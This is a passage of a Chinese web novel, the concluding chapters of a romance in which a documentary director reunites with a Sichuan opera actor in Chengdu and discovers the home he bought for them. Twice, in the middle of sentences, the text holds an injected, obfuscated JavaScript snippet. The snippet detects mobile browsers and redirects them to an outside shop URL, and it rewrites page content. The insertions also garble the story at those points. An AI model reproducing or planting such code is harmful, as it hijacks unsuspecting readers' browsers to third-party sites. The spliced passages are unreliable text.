“……没有。”陈声和耳尖发烫,“这五年,我攒了一些钱,在成都买个房子,应该可以的。” “哦。”李霄川的回应短促而生硬,接着又用过分夸张的语气追问,“陈导想要个什么样的房子?别墅?大平层?” “……李霄川。”陈声和直接叫了他的全名,声音里带着久违的任性,“就说,要不要帮我?” 电话那头传来一声轻笑:“行,陈导的命令,我敢不听么?” 停顿片刻后,李霄川又故意问:“不过……你给我解释一下,在成都买房子,这什么意思?” “就字面意思。”陈声和把手机贴得更紧,仿佛这样就能离他近一点,“华央那边,我申请暂时调去西南非遗项目组了。” 他故意把话说得一本正经,耳朵尖却诚实地烧了起来。 电话那头,李霄川的呼吸明显又重了几分。 陈声和等了一会没听到他说话,突然有点慌:“李霄川?” “……你疯了?”李霄川的声音哑得厉害,“你的事业根基在华央,你所有的资源、人脉都在那儿……” “纪录片导演在哪都能拍。”陈声和打断他,“西南非遗项目组正好缺一个牵头人,台里领导……有这个意思。但我手头能拿得出手的作品太少,只有《岭南遗韵》一部,分量不够。” 他顿了顿,又轻声补了一句:“……而且那里,也适合我们。” “陈声和。”李霄川几乎是咬着牙叫出这个名字,每个字都透着挣扎,“你别冲动。” “没冲动。”陈声和看着窗外漆黑的夜色,“我想了很久了,只是暂时调动,我没骗你。” 从重逢的那天起,从看到李霄川在后台卸妆的那一刻起,从他知道自己再也没法装作若无其事的那一刻起…… 他就已经在想了,而且他没有说谎。 领导确实欣赏他,希望培养他独当一面。但陈声和自己也清楚,凭目前仅有的一个获奖项目,还远远不够。 即便加上这部正在创作的《川》,也才两部。 西南项目组,是机遇,也是挑战。那里远离核心圈子,也远离家族的视线,是一个可以让他们重新开始呼吸的缝隙。 这个机会,多少人争得头破血流。而他,必须抓住。 “……房子要带阳台。”李霄川突然说,声音沙哑,“你养的那些破多肉,不能总放我那儿。” 陈声和愣了一下,随即笑出了声:“好。” “还得带浴缸,有些少爷娇气喜欢泡澡。” “……唔。” “离剧团不能太远。” “嗯。” “……还有。”李霄川顿了顿,“你得负责做饭,我不伺候你。” 陈声和的笑声透过听筒传过去:“行,但你别嫌难吃。” 李霄川也跟着笑起来,笑声温暖而真实,驱散了冬夜的寒意。 他们谁都没提过去,谁都没说复合,在这通漫长的电话里,有些东西,似乎已经不言而喻。 窗外的老梅树被风吹得沙沙作响,陈声和能听到电话那头传来电视机的声音。 像是在放什么综艺,主持人夸张的笑声断断续续。 他突然想起大学时,他们挤在公寓那张小床上,李霄川非要搂着他看恐怖片,结果自己先吓得把脸埋在他肩膀上。 挂断电话前,李霄川突然问:“你爸妈……真的同意了?” 陈声和沉默了一会儿。 “没再反对了。”他最终说,“这就够了。” 潮汕人的妥协,从来不是锣鼓喧天的接纳,而是饭桌上多摆的一副碗筷,是祭祖时多备的三炷清香。 就像父亲烧掉的那张过继文书,就像母亲绣的那枝单瓣石榴花…… 有些改变,需要时间。 “李霄川。”他忽然叫他的名字。 “嗯?” “下次……”陈声和深吸一口气,“下次我带你回家喝茶。” 电话那头传来衣料摩擦的声响,像是李霄川换了个姿势,他轻声应道:“……好。” 电视机的声音不知何时已经停了,听筒里只剩下轻微的电流声。 “小广仔。”李霄川又叫了他一声,这次声音更轻,“什么时候回成都?” 陈声和看着窗外漆黑的夜色,老梅树的枝丫在风中轻轻摇晃。 “很快。”他说。 …… 陈声和的“很快”也忙到年后才回到成都。 家族的事情忙完,他马不停蹄赶去总台汇报年度工作,参加年会,等一切尘埃落定,已经是大年初六过了。 他们那部纪录片分成了上下两部。第一部《川》在华央播出后,反响是真的好,首播就直接破了非遗类纪录片有史以来的最高纪录。 李霄川的演出和商业邀约肉眼可见地蹭蹭往上涨,连带着整个川剧院的票都比以前紧凑起来。 第二部《脸》,将在元宵节开播。 陈声和回成都这天,天上正飘着雨夹雪,不算大,但湿漉漉的。 李霄川来机场接他,开了辆黑色的GLE。 “你买车啦?” 陈声和坐进副驾驶,手指在真皮座椅上轻轻划过。车内暖气开得很足,玻璃上凝了一层薄雾,将窗外的雨景晕染成模糊的水彩画。 李霄川单手扶着方向盘,闻言顿了一下:“嗯,有车方便点。” 陈声和左右看了看,犹豫着还是问了句:“贷款买的?” 李霄川一听就乐了,嘴角弯起来:“怎么,陈导这是嫌我穷啊?” 陈声和低下头,抿着唇,手指抠着安全带的边缘。他还在为上次父亲说李霄川“养不活自己”那句话愧疚。 李霄川瞥了他一眼,趁着等红灯,伸手过去把他的手握进手心:“现在连玩笑都开不起了,陈大导演?” 陈声和轻轻摇了摇头。 “没贷款,”李霄川的拇指在他手背上轻轻蹭了蹭,“这些年……我也存了点钱,买个代步车,够了。” 陈声和看着两人握在一起的手,又收紧了些力道:“好。” 他们的手就这么一直牵着,直到车子开进地下车库。 但陈声和慢慢发觉,这路不是回他们原来公寓的,也不是去川剧院那边的。车子拐进了锦江区,最后停进了一个陌生的地下车库。 “房子看好了?”陈声和四下看了看,这小区他之前留意过,价位还算能接受,他也能负担。 “嗯,”李霄川松开他的手,很自然地揉了揉他的头发,“带你上去看看。” 下车后,李霄川从后备箱取出行李,一手推着箱子,另一只手就朝陈声和伸了过来。 陈声和拎着包下车,走过去,主动牵住了那只手。 “这儿离川剧院是有点远哈,”陈声和轻轻晃了晃他的胳膊,“不过小区环境是真好。” “所以不是买车了嘛,”李霄川转过头看着他笑,“我也不用一天24小时都泡在剧院,这儿生活气息浓点。” “行,听你的。” 电梯直达顶层,一梯一户的设计,私密性没得说,对他们来说正合适。 门一推开,暖融融的气息就拂面而来,陈声和整个人不自觉地松弛下来。屋里装修得特别舒服,明亮又简洁,最关键的是,一点新装修的味儿都没有。 陈声和在客厅中间站了一会儿,目光扫过,发现这里到处都是他的影子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007027|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电视柜上摆着俩人的合影,展示柜里放着他大学时送给李霄川的那些小玩意儿…… 都被完好无损地摆在里面,他突然快步走向卧室,这个房子里明显有人居住的痕迹,而且不像是刚搬进来。 视线环顾一圈,最终落在床头柜上,上面摆着他大学时的照片,还有去年纪录片获奖时领奖的舞台照。 他放轻了呼吸,走进衣帽间猛地打开衣柜,里面挂着常穿的衣服,走进洗手间,洗漱台上也并排放着两套牙具。 “你……”陈声和的嗓子有些发紧,“这房子,才买的?” 李霄川走进来,从床头柜里取出房产证递给他。 陈声和愣愣地接过来,翻开一看就明白了。这房子买了已经有五年了,拿到房产证的日期,正好是他们重逢的那天。 “你……我……” 陈声和突然顿住,他抬头看了眼李霄川,视线又落在产权人姓名那一栏,眼眶瞬间红了。 “陈导,我很贵得好吧。”李霄川坐在床边,拉过他的手让他也坐下,“真没你爸说得那么惨,从大学时期就开始存钱了。” 其实李霄川没说实话。 陈声和知道。 大学那会儿,李霄川一个人打两份工,白天上课,晚上去春熙路一家酒吧当服务生,周末再去奶茶店摇珍珠。 他从来没提过,但陈声和见过他抽屉里一沓排班表,上面密密麻麻写满了换班记录。 刚谈恋爱那会儿,姑姑在饭桌上提过一嘴,说她给准备了买房的钱,让他别那么拼。李霄川只是低头扒饭,含含糊糊地应了一声,第二天照样凌晨五点爬起来去剧团练功。 后来陈声和问他为什么不要,李霄川正往肩上贴膏药,闻言头也不抬:“我又不是不能赚。” 陈声和没再问。 但他知道,李霄川的固执里藏着一份幼稚的骄傲,他不想让别人觉得自己惨,不想被同情,更不想被可怜。 哪怕是养大他的亲姑姑,他也觉得自己能自给自足。 可命运对李霄川从来就不公平。 父亲出轨养外室再生,早早抛下他们母子不管,离婚后没到一年,母亲便去患病去逝了,若不是姑姑把他接回家养着,他连活着都难。 一滴眼泪砸在房产证上,接着第二颗、第三颗…… “你就不怕……我不回来?” 李霄川搂住他,叹息一声:“想过。但是我这辈子就这样了,就当留个念想吧。” “李霄川……你演什么纯爱戏码!”陈声和转身搂住他的脖子,长发在李霄川脸上轻轻扫过,“谁要你一个人承担了,我也存钱了。” “嗯,这哈是真没钱了,这几个月就得靠陈导养我了。”李霄川收紧手臂,这一刻他才感觉到了一点真实,“乖乖,其实我从机场就想抱抱你了。” “唔……”陈声和把脸埋在他肩膀上,呜咽了一声。 “这次,真的不能再走了,”李霄川将头埋在他的肩膀上,声音沙哑,“我怕自己会死。” 陈声和说不出来话,只能用力蹭着李霄川的脖子,想把这些年积攒的思念全部传递给他。 这房子是李霄川在开盘前就买下的。 他们分手后不久,疫情便席卷了全球。在封控最严的那段日子,他闲不住去当了志愿者,偶然路过这个楼盘觉得挺不错。 随后打电话询问,房价比平时低了整整三成,他拿着手机看了十分钟的样板间,当场就刷了定金。 在去年初,李霄川大过年受伤住院后,姑姑压着他去把剩下的房贷交清了,告诉他不要这么拼,天塌下来由她顶着。 那时他想,万一哪天自己不在了,陈声和来成都时总该有个落脚的地方。毕竟那人说过,最喜欢成都这点,连太阳都活得任性,想出来就出来,想躲就躲。 以前租住的公寓,陈声和不止一次抱怨过环境不好,他喜欢安静的地方发呆。可那片基本都是这样的房子。 这五年里,他已经做好了听到陈声和结婚生子的心理准备。 所以当张维通知说有纪录片导演要来时,他几乎没有犹豫就答应了。 他想见陈声和,想看看他这些年离开自己过得有多好,是不是真的如他父母所愿,结婚生子,成了他们眼中的乖儿子。 而现在,这个人终于回来了,就坐在他身边,眼泪打湿了他的肩膀。 87.正文完(删减版) 外头的冬雨还在下,房子里暖和得很,阳台上摆放着几盆花和多肉,都是陈声和以前在出租屋养过的。 这些年李霄川都照顾得很好。 “明天要去剧院吗?”陈声和躺在沙发上,头枕着李霄川的腿,电视机的光在他们脸上明明灭灭。 “不去,我休了年假。”李霄川的手指正缠绕着他的发梢,低头看着怀里的人,“你呢?” “正月十五后再工作。”陈声和仰起脸,后脑勺在他大腿上蹭了蹭,“现在休息。” 李霄川的手顺势滑到他肩膀,手指穿过他的发丝:“头发长了。” “嗯,一直没剪。”陈声和手指点了点他的下巴,“你喜欢吗?” 大学那会儿,李霄川总爱在排练间隙盯着陈声和的侧脸出神。 有次陈声和正低头翻剧本,突然感觉后颈一凉,是李霄川的手指撩起了他略长的发尾。 “幺儿,”李霄川的声音带着笑意,“你要是留长发……”他的手指顺着陈声和的颈线滑到下颌,轻轻挑起他的脸,“准能帅得让人挪不开眼。” 练功房的日光灯在陈声和脸上投下光影,他看见李霄川的瞳孔里映着自己微微发红的耳尖。 那时他们还没在一起,但这句话已经悄悄藏进了陈声和的心里。 李霄川俯身,鼻尖擦过他的额发,落下一个轻吻:“喜欢。” 窗外的雨声渐弱,电视机里晚间新闻的主播正在播报明日天气。 陈声和闭上眼睛,耳畔是李霄川平稳的心跳声,后背传来有节奏的轻拍,让他想起小时候阿嬷哄他入睡的夜晚。 “困了?”李霄川的声音从头顶传来。 陈声和摇摇头,撑着手臂坐起身:“我去洗个澡。”他走到浴室门口,手指搭在门把手上顿了顿,回头时耳尖通红,“你……要……一起洗吗?” 李霄川正在整理茶几上的遥控器,闻言动作一顿,喉结滚动了几下才低笑着摇头:“你先洗,我把你行李整理一下。” 浴室里蒸腾的热气模糊了镜面,陈声和站在花洒下,水流冲走旅途疲惫的同时,也带走了最后一些紧张。 浴室里果然装了浴缸,还有超大的一面镜子,洗手台前面做了一个扶手,就连马桶都是他们看过却买不起的全自动,根本不用手触碰。 这些都是以前俩人在出租屋里幻想过的一点小嗜好,现在一一都实现了。 他擦着头发出来时,发现卧室的灯光被调成了暖黄色,李霄川正在铺平床单的最后一个角落。 床头柜上不知何时多了一杯温水,旁边整齐码放着他常吃的维生素片。 “洗好了?” 陈声和拿起水杯,水温刚好:“唔。” 李霄川接过他手里的毛巾,手指擦过他的手腕:“我来帮你擦。” 坐在床沿,陈声和感受着毛巾在发间游走的触感。李霄川的手指偶尔穿过湿发,指腹轻轻刮过头皮,带起一阵细微的战栗。 以前在那小出租屋里,每次他洗完头,头发基本都是李霄川给擦干的。 陈声和那时窝在椅子里懒洋洋地逗他:“有现成的吹风机干嘛不用?非得手动服务?” 李霄川手里的毛巾很软,动作也放得轻,一边细细地蘸着他发梢滴落的水珠,一边用带着川音的腔调说:“吹风机太吵了,这样安静。” 其实李霄川就喜欢这样养着陈声和。 他觉得这个广东仔,像只初来蜀地水土不服的漂亮雀儿,得仔细些照料。 看他被辣红了眼尾要递豆奶,见他被回南天冻得发抖要捂手脚,连擦头发这种小事,也得亲自伺候着才安心。 “好了。”李霄川将毛巾搭在自己肩膀上,“我去洗澡,你先睡。” 被窝里满是阳光的味道,陈声和把自己埋进蓬松的羽绒被中。浴室的水声成了最好的白噪音,他的眼皮渐渐沉重。 半梦半醒间,床垫微微下陷,带着沐浴露清香的体温从背后贴上来。 李霄川的手臂环住他的腰,下巴抵在他的发顶。陈声和向后靠了靠,整个人陷入那个熟悉的怀抱中。 “乖乖。”李霄川的声音带着睡意从头顶传来。 陈声和握住腰间的那只手,手指描摹着手背上凸起的血管纹路:“嗯。” 窗外的雨夹雪还在轻轻敲打玻璃,房间里两人的呼吸声渐渐同步。在这个久违的家中,他们终于可以卸下所有防备安睡。 …… 晚些时候,陈声和是被一阵诱人的香气唤醒的。他伸手摸了摸身侧,床单上还残留着体温,但李霄川已经不在。 他猛地坐起身,揉了揉眼睛,看清房间和床头合照这才松了一口气。 卧室布置得特别温馨,但又处处透露着男孩子的生活痕迹,放眼望去,基本都是陈声和喜欢的浅色调和原木风格。 以前住在出租屋时,他总随口抱怨衣柜太小,李霄川的戏服和他的器材根本塞不下。 说者无心,听者有意。 如今在这个真正属于他们的家里,李霄川不知怎么捣鼓的,愣是把主卧给改造了,给他做出一个步入式衣帽间。 空间挺大,陈声和常穿的几件衣服已经被仔细地挂好,妥帖地安置在了里面,还有几件新衣服,他看了看,都是他的尺码和常穿的牌子,应该是李霄川给他买的。 衣帽间最里头还藏了个巧妙的设计,一扇与墙面融为一体的隐藏门。 轻轻推开,后面竟直接连通着书房。 书架上放两人爱看的书,他的电影理论紧挨着李霄川的戏曲谱本,界限模糊。 办公桌上很整洁,只放着一台高配笔记本,还有一张他们的合照,是大学时在戏曲社后台,他正低头给李霄川勾脸的那张。 陈声和只扫了一眼,心头便是一动。 书桌下方那些精心排布的插座、特意加强的灯光,还有旁边预留出来,足以容纳他那些笨重硬盘的储物格…… 这里,是李霄川特意为他打造的一个剪辑工作角。 阳台边竟然专门做了个茶台,上头摆的正是他以前留下的那套茶具。 陈声和走过去,手指在桌面上一叩,都不用细看,听声儿就知道,是他以前念叨过“等有了家一定要买”的那种广东人家里用的。 客厅传来刻意压低的说话声,陈声和推开房门时,看见李霄川穿着睡衣站在阳台上打电话。 窗外的雨还在下,他看了眼墙上的挂钟,居然已经到下午五点了。 厨房飘来的香味更浓了,陈声和扶着门框轻声唤道:“阿川……” 李霄川立刻转身,对着电话匆匆说了句“我不去”就挂断了。 “吵到你了?” 陈声和摇摇头,鼻尖动了动:“没有,饿了。” 李霄川大步走来,直接将他抱起:“陈导这肚子可以啊,知道我做了好吃的。” 他的手臂稳稳托着陈声和的腿弯,胸膛传来有力的心跳。 陈声和环住他的脖子笑问:“做了什么好吃的?” “红烧排骨,潮汕砂锅,还有……”李霄川故意捏了捏他的臀部,咬着他耳朵说,“你老公,我。” 陈声和先是一愣,随即把脸埋在他颈窝里笑得发抖:“……神经病!” 餐桌上摆着几道冒着热气的家常菜,散发着诱人的香气。 陈声和整个人被李霄川圈在臂弯里,后背紧贴着对方结实的胸膛,吃个饭两人腻腻歪歪的。 沙发上的三花猫“老板”慵懒地伸展了一下身子,把自己摊成一张标准的猫饼。它掀开眼皮,懒洋洋地瞥了一眼餐厅里那对连体婴,金色的瞳孔里写满了:眼睛都要辣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007028|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到咯。 李霄川左手稳稳地环着他的腰,右手执着汤匙,每一勺粥都要先在自己唇边轻轻吹几下,确认温度适宜才送到他嘴边。 让陈声和惊讶的是那锅砂锅海鲜粥,米粒熬得恰到好处的开花,鲜虾和干贝的香气完美融合,表面撒着翠绿的芹菜粒和炸得金黄酥脆的蒜末,甚至还有几片地道的潮汕肉饼。 这手艺,怎么看都不像是出自一个嗜辣如命的四川人之手。 “什么时候学的?”陈声和忍不住伸手点了点砂锅边缘,手指立刻沾上温热的水珠。 李霄川用木勺轻轻搅动粥面:“每次想你想得受不了,就翻菜谱研究。” 他舀起一勺带着虾仁的粥,在碗边刮了刮才递过来,“再吃点,像不像你家巷口那家老字号?” 他说得轻松,却让陈声和喉头发紧。这五年里,原来不止他一个人在靠着记忆里的温度熬过漫漫长夜。 陈声和吃得肚皮滚圆,靠在李霄川怀里揉肚子:“太饱了,真吃不下去了。” 李霄川放下碗筷,纸巾擦过他沾着米粒的嘴角:“那吃点别的。”说着摸出手机,手指在屏幕上轻点,窗帘便缓缓合拢。 陈声和还在疑惑吃什么,睡裤就被扒了。 李霄川的手探进他的睡衣下摆,陈声和赶紧抓住他的手腕:“刚吃饱。” “轮到我吃了。”李霄川咬住他的耳垂,声音沙哑,“这五年缺失的,你得补给我。” 陈声和的身体不由自主地颤了颤。 “嗯?”李霄川将他的双手放在身后,“你抖撒子?怕我迈?” “……不是。”陈声和想说的是真的不能缓一缓再做吗? “我……我还没准备。” 李霄川低笑起来:“我来。” 话音刚落便抱着他进了卧室,随后房门被关上。 …… 窗外雪粒子敲打玻璃的声响渐渐被喘和谐息盖过。陈声和在灭顶的快感中突然想起纪录片里那个长镜头。 李霄川卸妆时,油彩混迹着汗水流向下颌,就像此刻滴在他锁骨上的汗水,咸涩滚烫,是他们共同熬过的岁月。 真正结束时,已经很晚了。 李霄川用浴巾裹着昏昏欲睡的陈声和回到卧室,发现洒落的维生素药片中有几粒被压碎在床单上,留下淡黄色的痕迹。 他轻轻吻了吻怀中人发红的眼皮,拉过被子将两人裹紧。 陈声和在睡梦中往热源处钻了钻,李霄川收紧手臂,将下巴抵在他发顶,终于也沉沉睡去。 破镜重圆最难的,其实不是怎么把碎了一地的东西重新拼好。 最难的,是你得先鼓起勇气,伸手去擦干净那层积了多年的灰。 灰真的太厚了,厚到你都快忘了,这面镜子原本有多透亮,多干净。 可你又怕……怕擦干净之后,照出来的还是当年那张脸。那个曾经让你哭过、疼过、在深夜里发疯一样想念过的自己。 陈声和知道那面镜子就在那儿。 李霄川也知道。 所以,隔了这么多年,陈声和终于不再只是站在原地看着或者后退。 他轻轻抬起手,手指穿过时间积落的尘埃,坚定地,搭在了李霄川早已等待许久的手边。 成都的夜雨仍在下,潮润的水汽漫过窗棂,而陈声和的呼吸像岭南的浪,一阵一阵,轻轻拍打着李霄川的胸口。 曾经像刺一样扎在心里的岁月、年少时的固执、和不得已的离别,终于被时间磨平,如今变成了一片可以让灵魂安心搁浅的沙滩。 川流至此,潮汐往复。 他们终于不必再问归处。 就像所有的河流终将入海,他们,终于在彼此的生命里,找到了最坚实的归宿,并将在其中——永久栖息。 全文完